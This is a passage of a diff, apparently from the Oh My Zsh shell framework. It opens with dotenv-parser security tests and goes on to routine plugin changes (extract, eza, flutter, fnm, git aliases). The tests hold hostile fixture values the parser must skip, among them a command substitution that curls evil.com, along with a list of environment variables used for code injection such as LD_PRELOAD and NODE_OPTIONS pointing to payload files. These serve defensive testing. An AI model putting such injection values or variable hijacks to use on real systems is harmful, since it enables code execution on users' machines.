> "$fixture" <<'EOF'
|
||||
# Should be skipped
|
||||
DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
|
||||
EOF
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'skip multiple words (potential command execution)' {
|
||||
> "$fixture" <<'EOF'
|
||||
# Should be skipped - multiple words could execute commands
|
||||
BASE_URL=/ echo command run
|
||||
EOF
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'allow literal command substitution in single quotes' {
|
||||
> "$fixture" <<'EOF'
|
||||
# Single quotes make everything literal - should be parsed
|
||||
SAFE_SINGLE_QUOTED='$(this is literal)'
|
||||
SAFE_BACKTICK='`also literal`'
|
||||
|
||||
# Should also be parsed
|
||||
SAFE_VAR=safe_value
|
||||
EOF
|
||||
|
||||
expected_vars=(
|
||||
SAFE_SINGLE_QUOTED '$(this is literal)'
|
||||
SAFE_BACKTICK '`also literal`'
|
||||
SAFE_VAR 'safe_value'
|
||||
)
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'skip backticks in unquoted values' {
|
||||
> "$fixture" <<'EOF'
|
||||
# Backticks in unquoted context - should be skipped
|
||||
DANGEROUS_UNQUOTED=`echo danger`
|
||||
EOF
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'skip dollar-paren in unquoted values' {
|
||||
> "$fixture" <<'EOF'
|
||||
# Command substitution in unquoted context - should be skipped
|
||||
DANGEROUS_UNQUOTED=$(uname -a)
|
||||
EOF
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'allow safe dollar signs (variable refs without parens in single quotes)' {
|
||||
> "$fixture" <<'EOF'
|
||||
# Dollar signs that don't start command substitution
|
||||
SAFE_DOLLARS='$HOME is literal'
|
||||
SAFE_PRICE='Cost is $50'
|
||||
SAFE_VAR='value$123'
|
||||
|
||||
# Should all be parsed
|
||||
SAFE_VAR2=safe_value
|
||||
EOF
|
||||
|
||||
expected_vars=(
|
||||
SAFE_DOLLARS '$HOME is literal'
|
||||
SAFE_PRICE 'Cost is $50'
|
||||
SAFE_VAR 'value$123'
|
||||
SAFE_VAR2 'safe_value'
|
||||
)
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'skip quoted command substitution' {
|
||||
> "$fixture" <<'EOF'
|
||||
HARMLESS_COMMAND="\$(echo)"
|
||||
ANOTHER_ONE=$'\x24\x28echo\x29'
|
||||
EOF
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'comprehensive security test with mixed safe and dangerous patterns' {
|
||||
> "$fixture" <<'EOF'
|
||||
# These should be SKIPPED (dangerous)
|
||||
DANGEROUS_BACKTICK=`whoami`
|
||||
DANGEROUS_SUBSHELL=$(date)
|
||||
DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
|
||||
LOOKS_SAFE=$(curl http://evil.com)
|
||||
BASE_URL=/ echo command run
|
||||
|
||||
# These should WORK (safe)
|
||||
SAFE_BEFORE=safe_value_1
|
||||
SAFE_AFTER=safe_value_2
|
||||
SAFE_SINGLE_QUOTED='$(this is literal)'
|
||||
SAFE_SINGLE_QUOTED2='`also literal`'
|
||||
SAFE_DOLLARS='$HOME'
|
||||
SAFE_PRICE="$50"
|
||||
EOF
|
||||
|
||||
expected_vars=(
|
||||
SAFE_BEFORE 'safe_value_1'
|
||||
SAFE_AFTER 'safe_value_2'
|
||||
SAFE_SINGLE_QUOTED '$(this is literal)'
|
||||
SAFE_SINGLE_QUOTED2 '`also literal`'
|
||||
SAFE_DOLLARS '$HOME'
|
||||
SAFE_PRICE '$50'
|
||||
)
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
|
||||
|
||||
@test 'blocks changes of special environment variables' {
|
||||
_parse_dotenv_test =(<<'EOF'
|
||||
# Executes on the next node/npm/npx invocation
|
||||
NODE_OPTIONS=--require=./payload.js
|
||||
|
||||
# Used for shell initialization
|
||||
BASH_ENV=./payload.sh
|
||||
# Used for shell initialization in zsh, but also respected by some tools like git
|
||||
# - https://man7.org/linux/man-pages/man1/dash.1.html#DESCRIPTION:~:text=by%20the%20shell.-,Invocation,-If%20no%20args
|
||||
# - https://zsh.sourceforge.io/Doc/Release/Parameters.html#index-ENV
|
||||
ENV=./payload.sh
|
||||
# Used for zsh startup
|
||||
ZDOTDIR=./.malicious_zsh
|
||||
ZSH=./.malicious_zsh
|
||||
|
||||
# These are used for native code injection
|
||||
LD_PRELOAD=./payload.so
|
||||
LD_LIBRARY_PATH=./malicious_libs
|
||||
DYLD_INSERT_LIBRARIES=./payload.dylib
|
||||
|
||||
# Git environment variables
|
||||
GIT_CONFIG_GLOBAL=./.gitconfig-malicious
|
||||
GIT_DIR=./malicious_git_dir
|
||||
GIT_EDITOR=./malicious_editor
|
||||
GIT_EXTERNAL_DIFF=./malicious_diff
|
||||
GIT_EXEC_PATH=./.malicious_git_exec
|
||||
GIT_PAGER=./malicious_pager
|
||||
GIT_SSH=./malicious_ssh
|
||||
GIT_SSH_COMMAND=./malicious_ssh_command
|
||||
GIT_SSL_NO_VERIFY=true
|
||||
GIT_TEMPLATE_DIR=./malicious_templates # for persistence
|
||||
|
||||
# Special exported variables
|
||||
PATH=./malicious_bin:$PATH
|
||||
EDITOR=./malicious
|
||||
VISUAL=./malicious
|
||||
PAGER=./malicious
|
||||
EOF
|
||||
)
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
# .NET Core CLI plugin
|
||||
# .NET CLI plugin
|
||||
|
||||
This plugin provides completion and useful aliases for [.NET Core CLI](https://dotnet.microsoft.com/).
|
||||
This plugin provides completion and useful aliases for [.NET CLI](https://dotnet.microsoft.com/).
|
||||
|
||||
To use it, add `dotnet` to the plugins array in your zshrc file.
|
||||
|
||||
@@ -23,4 +23,4 @@ plugins=(... dotnet)
|
||||
| dp | dotnet pack | Create a NuGet package. |
|
||||
| dng | dotnet nuget | Provides additional NuGet commands. |
|
||||
| db | dotnet build | Build a .NET project |
|
||||
| dres | dotnet restore | Restore dependencies and project-specific tools for a project. |
|
||||
| dres | dotnet restore | Restore dependencies and project-specific tools for a project. |
|
||||
|
||||
@@ -53,5 +53,6 @@ local -a exts=(
|
||||
|
||||
_arguments \
|
||||
'(-r --remove)'{-r,--remove}'[Remove archive.]' \
|
||||
'(-t --to-directory)'{-t,--to-directory}'[Extract to a specific directory.]' \
|
||||
"*::archive file:_files -g '(#i)*.(${(j:|:)exts})(-.)'" \
|
||||
&& return 0
|
||||
|
||||
59
plugins/extract/extract.plugin.zsh
Normal file → Executable file
59
plugins/extract/extract.plugin.zsh
Normal file → Executable file
@@ -9,14 +9,41 @@ Usage: extract [-option] [file ...]
|
||||
|
||||
Options:
|
||||
-r, --remove Remove archive after unpacking.
|
||||
-t, --to-directory <dir> Extract to a specific directory instead of the current one.
|
||||
EOF
|
||||
fi
|
||||
|
||||
local remove_archive=1
|
||||
if [[ "$1" == "-r" ]] || [[ "$1" == "--remove" ]]; then
|
||||
remove_archive=0
|
||||
shift
|
||||
fi
|
||||
local target_directory=""
|
||||
|
||||
while (( $# > 0 )); do
|
||||
case "$1" in
|
||||
-r|--remove)
|
||||
remove_archive=0
|
||||
shift
|
||||
;;
|
||||
-t|--to-directory)
|
||||
shift
|
||||
if (( $# == 0 )); then
|
||||
echo "extract: -t/--to-directory requires a directory argument" >&2
|
||||
return 1
|
||||
fi
|
||||
|
||||
target_directory="$1"
|
||||
shift
|
||||
|
||||
if [[ ! -d "$target_directory" ]]; then
|
||||
echo "extract: '$target_directory' is not a valid directory" >&2
|
||||
return 1
|
||||
fi
|
||||
|
||||
target_directory="${target_directory%/}"
|
||||
;;
|
||||
*)
|
||||
break
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
local pwd="$PWD"
|
||||
while (( $# > 0 )); do
|
||||
@@ -35,6 +62,10 @@ EOF
|
||||
extract_dir="${extract_dir:r}"
|
||||
fi
|
||||
|
||||
if [[ -n "$target_directory" ]]; then
|
||||
extract_dir="$target_directory/${extract_dir:t}"
|
||||
fi
|
||||
|
||||
# If there's a file or directory with the same name as the archive
|
||||
# add a random string to the end of the extract directory
|
||||
if [[ -e "$extract_dir" ]]; then
|
||||
@@ -71,13 +102,21 @@ EOF
|
||||
(*.tar.lrz) (( $+commands[lrzuntar] )) && lrzuntar "$full_path" ;;
|
||||
(*.gz) (( $+commands[pigz] )) && pigz -cdk "$full_path" > "${file:t:r}" || gunzip -ck "$full_path" > "${file:t:r}" ;;
|
||||
(*.bz2) (( $+commands[pbzip2] )) && pbzip2 -d "$full_path" || bunzip2 "$full_path" ;;
|
||||
(*.xz) unxz "$full_path" ;;
|
||||
(*.xz) xzcat "$full_path" > "${file:t:r}" ;;
|
||||
(*.lrz) (( $+commands[lrunzip] )) && lrunzip "$full_path" ;;
|
||||
(*.lz4) lz4 -d "$full_path" ;;
|
||||
(*.lzma) unlzma "$full_path" ;;
|
||||
(*.z) uncompress "$full_path" ;;
|
||||
(*.zip|*.war|*.jar|*.ear|*.sublime-package|*.ipa|*.ipsw|*.xpi|*.apk|*.aar|*.whl|*.vsix|*.crx|*.pk3|*.pk4) unzip "$full_path" ;;
|
||||
(*.rar) unrar x -ad "$full_path" ;;
|
||||
(*.rar)
|
||||
if (( $+commands[unrar] )); then
|
||||
unrar x -ad "$full_path"
|
||||
elif (( $+commands[unar] )); then
|
||||
unar -o . "$full_path"
|
||||
else
|
||||
echo "extract: cannot extract RAR files: install unrar or unar" >&2
|
||||
success=1
|
||||
fi ;;
|
||||
(*.rpm)
|
||||
rpm2cpio "$full_path" | cpio --quiet -id ;;
|
||||
(*.7z | *.7z.[0-9]* | *.pk7) 7za x "$full_path" ;;
|
||||
@@ -118,7 +157,7 @@ EOF
|
||||
# 1. Move and rename the extracted file/folder to a temporary random name
|
||||
# 2. Delete the empty folder
|
||||
# 3. Rename the extracted file/folder to the original name
|
||||
if [[ "${content[1]:t}" == "$extract_dir" ]]; then
|
||||
if [[ "${content[1]:t}" == "${extract_dir:t}" ]]; then
|
||||
# =(:) gives /tmp/zsh<random>, with :t it gives zsh<random>
|
||||
local tmp_name==(:); tmp_name="${tmp_name:t}"
|
||||
command mv "${content[1]}" "$tmp_name" \
|
||||
@@ -126,9 +165,9 @@ EOF
|
||||
&& command mv "$tmp_name" "$extract_dir"
|
||||
# Otherwise, if the extracted folder name already exists in the current
|
||||
# directory (because of a previous file / folder), keep the extract_dir
|
||||
elif [[ ! -e "${content[1]:t}" ]]; then
|
||||
command mv "${content[1]}" . \
|
||||
&& command rmdir "$extract_dir"
|
||||
elif [[ ! -e "${target_directory:-.}/${content[1]:t}" ]]; then
|
||||
command mv -- "${content[1]}" "${target_directory:-.}/" \
|
||||
&& command rmdir -- "$extract_dir"
|
||||
fi
|
||||
elif [[ ${#content} -eq 0 ]]; then
|
||||
command rmdir "$extract_dir"
|
||||
|
||||
@@ -48,10 +48,11 @@ Default: `no`
|
||||
### `show-group`
|
||||
|
||||
```zsh
|
||||
zstyle ':omz:plugins:eza' 'show-group' yes|no
|
||||
zstyle ':omz:plugins:eza' 'show-group' yes|no|smart
|
||||
```
|
||||
|
||||
If `yes` (default), always add `-g` flag to show the group ownership.
|
||||
If `smart`, adds the `--smart-group` flag to only show the group if it has a different name from the owner.
|
||||
|
||||
Default: `yes`
|
||||
|
||||
|
||||
@@ -9,9 +9,15 @@ typeset -a _EZA_TAIL
|
||||
function _configure_eza() {
|
||||
local _val
|
||||
# Get the head flags
|
||||
if zstyle -T ':omz:plugins:eza' 'show-group'; then
|
||||
_EZA_HEAD+=("g")
|
||||
fi
|
||||
zstyle -s ':omz:plugins:eza' 'show-group' _val
|
||||
case "${_val:l}" in
|
||||
yes)
|
||||
_EZA_HEAD+=("g")
|
||||
;;
|
||||
smart)
|
||||
_EZA_TAIL+=("--smart-group")
|
||||
;;
|
||||
esac
|
||||
if zstyle -t ':omz:plugins:eza' 'header'; then
|
||||
_EZA_HEAD+=("h")
|
||||
fi
|
||||
|
||||
@@ -1,9 +0,0 @@
|
||||
# Fig plugin
|
||||
|
||||
This plugin sets up completion for [Fig](https://fig.io/).
|
||||
|
||||
To use it, add `fig` to the plugins array in your zshrc file:
|
||||
|
||||
```zsh
|
||||
plugins=(... fig)
|
||||
```
|
||||
@@ -1,13 +0,0 @@
|
||||
if ! (( $+commands[fig] )); then
|
||||
return
|
||||
fi
|
||||
|
||||
# If the completion file doesn't exist yet, we need to autoload it and
|
||||
# bind it to `fig`. Otherwise, compinit will have already done that
|
||||
if [[ ! -f "$ZSH_CACHE_DIR/completions/_fig" ]]; then
|
||||
autoload -Uz _fig
|
||||
typeset -g -A _comps
|
||||
_comps[fig]=_fig
|
||||
fi
|
||||
|
||||
fig completion zsh >| "$ZSH_CACHE_DIR/completions/_fig" &|
|
||||
@@ -13,16 +13,20 @@ plugins=(... flutter)
|
||||
| Alias | Command | Description |
|
||||
| :--------- | :---------------------- | :------------------------------------------------------------------------- |
|
||||
| `fl` | `flutter` | Shorthand for flutter command |
|
||||
| `fla` | `flutter analyze` | Analyzes flutter code |
|
||||
| `flattach` | `flutter attach` | Attaches flutter to a running flutter application with enabled observatory |
|
||||
| `flb` | `flutter build` | Build flutter application |
|
||||
| `flchnl` | `flutter channel` | Switches flutter channel (requires input of desired channel) |
|
||||
| `flc` | `flutter clean` | Cleans flutter project |
|
||||
| `fldvcs` | `flutter devices` | List connected devices (if any) |
|
||||
| `flchnl` | `flutter channel` | Switches flutter channel (requires input of desired channel) |
|
||||
| `fldoc` | `flutter doctor` | Runs flutter doctor |
|
||||
| `flpub` | `flutter pub` | Shorthand for flutter pub command |
|
||||
| `fldvcs` | `flutter devices` | List connected devices (if any) |
|
||||
| `flget` | `flutter pub get` | Installs dependencies |
|
||||
| `fll` | `flutter logs` | Shows flutter logs |
|
||||
| `flpu` | `flutter pub upgrade` | Upgrades dependencies |
|
||||
| `flpub` | `flutter pub` | Shorthand for flutter pub command |
|
||||
| `flr` | `flutter run` | Runs flutter app |
|
||||
| `flrd` | `flutter run --debug` | Runs flutter app in debug mode (default mode) |
|
||||
| `flrp` | `flutter run --profile` | Runs flutter app in profile mode |
|
||||
| `flrr` | `flutter run --release` | Runs flutter app in release mode |
|
||||
| `flupgrd` | `flutter upgrade` | Upgrades flutter version depending on the current channel |
|
||||
| `flt` | `flutter test` | Runs flutter tests |
|
||||
| `flupgrd` | `flutter upgrade` | Upgrades flutter version depending on the current channel |
|
||||
@@ -1,16 +1,20 @@
|
||||
alias fl="flutter"
|
||||
alias fla="flutter analyze"
|
||||
alias flattach="flutter attach"
|
||||
alias flb="flutter build"
|
||||
alias flchnl="flutter channel"
|
||||
alias flc="flutter clean"
|
||||
alias fldvcs="flutter devices"
|
||||
alias flchnl="flutter channel"
|
||||
alias fldoc="flutter doctor"
|
||||
alias flpub="flutter pub"
|
||||
alias fldvcs="flutter devices"
|
||||
alias flget="flutter pub get"
|
||||
alias fll="flutter logs"
|
||||
alias flpu="flutter pub upgrade"
|
||||
alias flpub="flutter pub"
|
||||
alias flr="flutter run"
|
||||
alias flrd="flutter run --debug"
|
||||
alias flrp="flutter run --profile"
|
||||
alias flrr="flutter run --release"
|
||||
alias flt="flutter test"
|
||||
alias flupgrd="flutter upgrade"
|
||||
|
||||
# COMPLETION FUNCTION
|
||||
@@ -26,4 +30,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_flutter" ]]; then
|
||||
_comps[flutter]=_flutter
|
||||
fi
|
||||
|
||||
flutter zsh-completion < /dev/null >| "$ZSH_CACHE_DIR/completions/_flutter" &|
|
||||
zmodload -F zsh/files b:zf_mv
|
||||
() {
|
||||
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_flutter"
|
||||
zf_mv -f -- =( flutter zsh-completion < /dev/null ) "$TMPPREFIX"
|
||||
} &|
|
||||
|
||||
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_flux" ]]; then
|
||||
_comps[flux]=_flux
|
||||
fi
|
||||
|
||||
flux completion zsh >| "$ZSH_CACHE_DIR/completions/_flux" &|
|
||||
zmodload -F zsh/files b:zf_mv
|
||||
() {
|
||||
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_flux"
|
||||
zf_mv -f -- =( flux completion zsh ) "$TMPPREFIX"
|
||||
} &|
|
||||
|
||||
@@ -2,8 +2,34 @@
|
||||
|
||||
This plugin adds autocompletion for [fnm](https://github.com/Schniz/fnm) - a Node.js version manager.
|
||||
|
||||
To use it, add `fnm` to the plugins array in your zshrc file:
|
||||
To use it, add `fnm` to the plugins array in your `.zshrc` file:
|
||||
|
||||
```zsh
|
||||
plugins=(... fnm)
|
||||
```
|
||||
|
||||
## Configuration
|
||||
|
||||
These settings should go in your `.zshrc` file, before Oh My Zsh is sourced.
|
||||
|
||||
### Autostart
|
||||
|
||||
If set, the plugin will automatically start fnm for the session, running the `fnm env`:
|
||||
|
||||
```zsh
|
||||
zstyle ':omz:plugins:fnm' autostart yes
|
||||
```
|
||||
|
||||
Default: `no` (disabled)
|
||||
|
||||
### Use on cd
|
||||
|
||||
If set, the Node.js version will be switched based on the requirements of the current directory (recommended):
|
||||
|
||||
```zsh
|
||||
zstyle ':omz:plugins:fnm' use-on-cd yes
|
||||
```
|
||||
|
||||
Default: `yes` (enabled)
|
||||
|
||||
Check out the [official documentation](https://github.com/Schniz/fnm/blob/master/docs/commands.md) for the available fnm variables.
|
||||
|
||||
@@ -10,4 +10,16 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_fnm" ]]; then
|
||||
_comps[fnm]=_fnm
|
||||
fi
|
||||
|
||||
fnm completions --shell=zsh >| "$ZSH_CACHE_DIR/completions/_fnm" &|
|
||||
zmodload -F zsh/files b:zf_mv
|
||||
() {
|
||||
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_fnm"
|
||||
zf_mv -f -- =( fnm completions --shell=zsh ) "$TMPPREFIX"
|
||||
} &|
|
||||
|
||||
if zstyle -t ':omz:plugins:fnm' autostart; then
|
||||
local -a fnm_env_cmd
|
||||
if zstyle -T ':omz:plugins:fnm' use-on-cd; then
|
||||
fnm_env_cmd+=("--use-on-cd")
|
||||
fi
|
||||
eval "$(fnm env --shell=zsh $fnm_env_cmd)"
|
||||
fi
|
||||
|
||||
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_gh" ]]; then
|
||||
_comps[gh]=_gh
|
||||
fi
|
||||
|
||||
gh completion --shell zsh >| "$ZSH_CACHE_DIR/completions/_gh" &|
|
||||
zmodload -F zsh/files b:zf_mv
|
||||
() {
|
||||
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_gh"
|
||||
zf_mv -f -- =( gh completion --shell zsh ) "$TMPPREFIX"
|
||||
} &|
|
||||
|
||||
@@ -45,7 +45,7 @@ plugins=(... git)
|
||||
| `gbgD` | `LANG=C git branch --no-color -vv \| grep ": gone\]" \| cut -c 3- \| awk '"'"'{print $1}'"'"' \| xargs git branch -D` |
|
||||
| `gbm` | `git branch --move` |
|
||||
| `gbnm` | `git branch --no-merged` |
|
||||
| `gbr` | `git branch --remote` |
|
||||
| `gbr` | `git branch --remotes` |
|
||||
| `ggsup` | `git branch --set-upstream-to=origin/$(git_current_branch)` |
|
||||
| `gbg` | `LANG=C git branch -vv \| grep ": gone\]"` |
|
||||
| `gco` | `git checkout` |
|
||||
@@ -181,6 +181,8 @@ plugins=(... git)
|
||||
| `grst` | `git restore --staged` |
|
||||
| `gunwip` | `git rev-list --max-count=1 --format="%s" HEAD \| grep -q "--wip--" && git reset HEAD~1` |
|
||||
| `grev` | `git revert` |
|
||||
| `greva` | `git revert --abort` |
|
||||
| `grevc` | `git revert --continue` |
|
||||
| `grm` | `git rm` |
|
||||
| `grmc` | `git rm --cached` |
|
||||
| `gcount` | `git shortlog --summary -n` |
|
||||
@@ -215,6 +217,7 @@ plugins=(... git)
|
||||
| `gunignore` | `git update-index --no-assume-unchanged` |
|
||||
| `gwch` | `git log --patch --abbrev-commit --pretty=medium --raw` |
|
||||
| `gwt` | `git worktree` |
|
||||
| `gwta` | `git worktree add` |
|
||||
| `gwtls` | `git worktree list` |
|
||||
| `gwtmv` | `git worktree move` |
|
||||
| `gwtrm` | `git worktree remove` |
|
||||
@@ -234,40 +237,26 @@ branch exists. We do this via the function `git_main_branch`.
|
||||
These are aliases that have been removed, renamed, or otherwise modified in a way that may, or may not,
|
||||
receive further support.
|
||||
|
||||
| Alias | Command | Modification |
|
||||
| :------- | :-------------------------------------------------------- | :-------------------------------------------------------- |
|
||||
| `gap` | `git add --patch` | New alias: `gapa`. |
|
||||
| `gcl` | `git config --list` | New alias: `gcf`. |
|
||||
| `gdc` | `git diff --cached` | New alias: `gdca`. |
|
||||
| `gdt` | `git difftool` | No replacement. |
|
||||
| `ggpull` | `git pull origin $(current_branch)` | New alias: `ggl`. (`ggpull` still exists for now though.) |
|
||||
| `ggpur` | `git pull --rebase origin $(current_branch)` | New alias: `ggu`. (`ggpur` still exists for now though.) |
|
||||
| `ggpush` | `git push origin $(current_branch)` | New alias: `ggp`. (`ggpush` still exists for now though.) |
|
||||
| `gk` | `gitk --all --branches` | Now aliased to `gitk --all --branches`. |
|
||||
| `glg` | `git log --stat --max-count=10` | Now aliased to `git log --stat --color`. |
|
||||
| `glgg` | `git log --graph --max-count=10` | Now aliased to `git log --graph --color`. |
|
||||
| `gwc` | `git whatchanged -p --abbrev-commit --pretty = medium` | New alias: `gwch`. |
|
||||
| `gup` | `git pull --rebase` | now alias `gpr` |
|
||||
| `gupv` | `git pull --rebase -v` | now alias `gprv` |
|
||||
| `gupa` | `git pull --rebase --autostash` | now alias `gpra` |
|
||||
| `gupav` | `git pull --rebase --autostash -v` | now alias `gprav` |
|
||||
| `gupom` | `git pull --rebase origin $(git_main_branch)` | now alias `gprom` |
|
||||
| `gupomi` | `git pull --rebase=interactive origin $(git_main_branch)` | now alias `gpromi` |
|
||||
| Alias | Command | Modification |
|
||||
| :------- | :-------------------------------------------------------- | :-----------------------------------------------------|
|
||||
| `gap` | `git add --patch` | New alias: `gapa` |
|
||||
| `gcl` | `git config --list` | New alias: `gcf` |
|
||||
| `gdt` | `git difftool` | No replacement |
|
||||
|
||||
## Functions
|
||||
|
||||
### Current
|
||||
|
||||
| Command | Description |
|
||||
| :----------------------- | :-------------------------------------------------------------------------------------------------------------- |
|
||||
| `current_branch` | Returns the name of the current branch. |
|
||||
| `git_current_user_email` | Returns the `user.email` config value. (Lives in `lib/git.zsh`.) |
|
||||
| `git_current_user_name` | Returns the `user.name` config value. (Lives in `lib/git.zsh`.) |
|
||||
| `git_develop_branch` | Returns the name of the “development” branch: `dev`, `devel`, `development` if they exist, `develop` otherwise. |
|
||||
| `git_main_branch` | Returns the name of the main branch: `main` if it exists, `master` otherwise. |
|
||||
| `grename <old> <new>` | Renames branch `<old>` to `<new>`, including on the origin remote. |
|
||||
| `gbda` | Deletes all merged branches |
|
||||
| `gbds` | Deletes all squash-merged branches (**Note: performance degrades with number of branches**) |
|
||||
| Command | Description |
|
||||
| :----------------------- | :------------------------------------------------------------------------------------------------------------- |
|
||||
| `git_current_branch` | Returns the name of the current branch (Lives in `lib/git.zsh`) |
|
||||
| `git_current_user_email` | Returns the `user.email` config value (Lives in `lib/git.zsh`) |
|
||||
| `git_current_user_name` | Returns the `user.name` config value (Lives in `lib/git.zsh`) |
|
||||
| `git_develop_branch` | Returns the name of the “development” branch: `dev`, `devel`, `development` if they exist, `develop` otherwise |
|
||||
| `git_main_branch` | Returns the name of the main branch: `main` if it exists, `master` otherwise |
|
||||
| `grename <old> <new>` | Renames branch `<old>` to `<new>`, including on the origin remote |
|
||||
| `gbda` | Deletes all merged branches |
|
||||
| `gbds` | Deletes all squash-merged branches (**Note: performance degrades with number of branches**) |
|
||||
|
||||
### Work in Progress (WIP)
|
||||
|
||||
@@ -287,4 +276,3 @@ Note that `gwip` and `gunwip` are aliases, but are also documented here to group
|
||||
|
||||
| Command | Description | Reason |
|
||||
| :------------------- | :-------------------------------------- | :--------------------------------------------------------------- |
|
||||
| `current_repository` | Return the names of the current remotes | Didn't work properly. Use `git remote -v` instead (`grv` alias). |
|
||||
|
||||
@@ -8,14 +8,6 @@ git_version="${${(As: :)$(git version 2>/dev/null)}[3]}"
|
||||
# (order should follow README)
|
||||
#
|
||||
|
||||
# The name of the current branch
|
||||
# Back-compatibility wrapper for when this function was defined here in
|
||||
# the plugin, before being pulled in to core lib/git.zsh as git_current_branch()
|
||||
# to fix the core -> git plugin dependency.
|
||||
function current_branch() {
|
||||
git_current_branch
|
||||
}
|
||||
|
||||
# Check for develop and similarly named branches
|
||||
function git_develop_branch() {
|
||||
command git rev-parse --git-dir &>/dev/null || return
|
||||
@@ -102,7 +94,7 @@ function work_in_progress() {
|
||||
alias grt='cd "$(git rev-parse --show-toplevel || echo .)"'
|
||||
|
||||
function ggpnp() {
|
||||
if [[ "$#" == 0 ]]; then
|
||||
if [[ $# == 0 ]]; then
|
||||
ggl && ggp
|
||||
else
|
||||
ggl "${*}" && ggp "${*}"
|
||||
@@ -161,7 +153,7 @@ alias gbgd='LANG=C git branch --no-color -vv | grep ": gone\]" | cut -c 3- | awk
|
||||
alias gbgD='LANG=C git branch --no-color -vv | grep ": gone\]" | cut -c 3- | awk '"'"'{print $1}'"'"' | xargs git branch -D'
|
||||
alias gbm='git branch --move'
|
||||
alias gbnm='git branch --no-merged'
|
||||
alias gbr='git branch --remote'
|
||||
alias gbr='git branch --remotes'
|
||||
alias ggsup='git branch --set-upstream-to=origin/$(git_current_branch)'
|
||||
alias gbg='LANG=C git branch -vv | grep ": gone\]"'
|
||||
alias gco='git checkout'
|
||||
@@ -280,10 +272,11 @@ alias gpra='git pull --rebase --autostash'
|
||||
alias gprav='git pull --rebase --autostash -v'
|
||||
|
||||
function ggu() {
|
||||
[[ "$#" != 1 ]] && local b="$(git_current_branch)"
|
||||
git pull --rebase origin "${b:=$1}"
|
||||
local b
|
||||
[[ $# != 1 ]] && b="$(git_current_branch)"
|
||||
git pull --rebase origin "${b:-$1}"
|
||||
}
|
||||
compdef _git ggu=git-checkout
|
||||
compdef _git ggu=git-pull
|
||||
|
||||
alias gprom='git pull --rebase origin $(git_main_branch)'
|
||||
alias gpromi='git pull --rebase=interactive origin $(git_main_branch)'
|
||||
@@ -292,14 +285,15 @@ alias gprumi='git pull --rebase=interactive upstream $(git_main_branch)'
|
||||
alias ggpull='git pull origin "$(git_current_branch)"'
|
||||
|
||||
function ggl() {
|
||||
if [[ "$#" != 0 ]] && [[ "$#" != 1 ]]; then
|
||||
if [[ $# != 0 ]] && [[ $# != 1 ]]; then
|
||||
git pull origin "${*}"
|
||||
else
|
||||
[[ "$#" == 0 ]] && local b="$(git_current_branch)"
|
||||
git pull origin "${b:=$1}"
|
||||
local b
|
||||
[[ $# == 0 ]] && b="$(git_current_branch)"
|
||||
git pull origin "${b:-$1}"
|
||||
fi
|
||||
}
|
||||
compdef _git ggl=git-checkout
|
||||
compdef _git ggl=git-pull
|
||||
|
||||
alias gluc='git pull upstream $(git_current_branch)'
|
||||
alias glum='git pull upstream $(git_main_branch)'
|
||||
@@ -307,10 +301,11 @@ alias gp='git push'
|
||||
alias gpd='git push --dry-run'
|
||||
|
||||
function ggf() {
|
||||
[[ "$#" != 1 ]] && local b="$(git_current_branch)"
|
||||
git push --force origin "${b:=$1}"
|
||||
local b
|
||||
[[ $# != 1 ]] && b="$(git_current_branch)"
|
||||
git push --force origin "${b:-$1}"
|
||||
}
|
||||
compdef _git ggf=git-checkout
|
||||
compdef _git ggf=git-push
|
||||
|
||||
alias gpf!='git push --force'
|
||||
is-at-least 2.30 "$git_version" \
|
||||
@@ -318,10 +313,11 @@ is-at-least 2.30 "$git_version" \
|
||||
|| alias gpf='git push --force-with-lease'
|
||||
|
||||
function ggfl() {
|
||||
[[ "$#" != 1 ]] && local b="$(git_current_branch)"
|
||||
git push --force-with-lease origin "${b:=$1}"
|
||||
local b
|
||||
[[ $# != 1 ]] && b="$(git_current_branch)"
|
||||
git push --force-with-lease origin "${b:-$1}"
|
||||
}
|
||||
compdef _git ggfl=git-checkout
|
||||
compdef _git ggfl=git-push
|
||||
|
||||
alias gpsup='git push --set-upstream origin $(git_current_branch)'
|
||||
is-at-least 2.30 "$git_version" \
|
||||
@@ -333,14 +329,15 @@ alias gpod='git push origin --delete'
|
||||
alias ggpush='git push origin "$(git_current_branch)"'
|
||||
|
||||
function ggp() {
|
||||
if [[ "$#" != 0 ]] && [[ "$#" != 1 ]]; then
|
||||
if [[ $# != 0 ]] && [[ $# != 1 ]]; then
|
||||
git push origin "${*}"
|
||||
else
|
||||
[[ "$#" == 0 ]] && local b="$(git_current_branch)"
|
||||
git push origin "${b:=$1}"
|
||||
local b
|
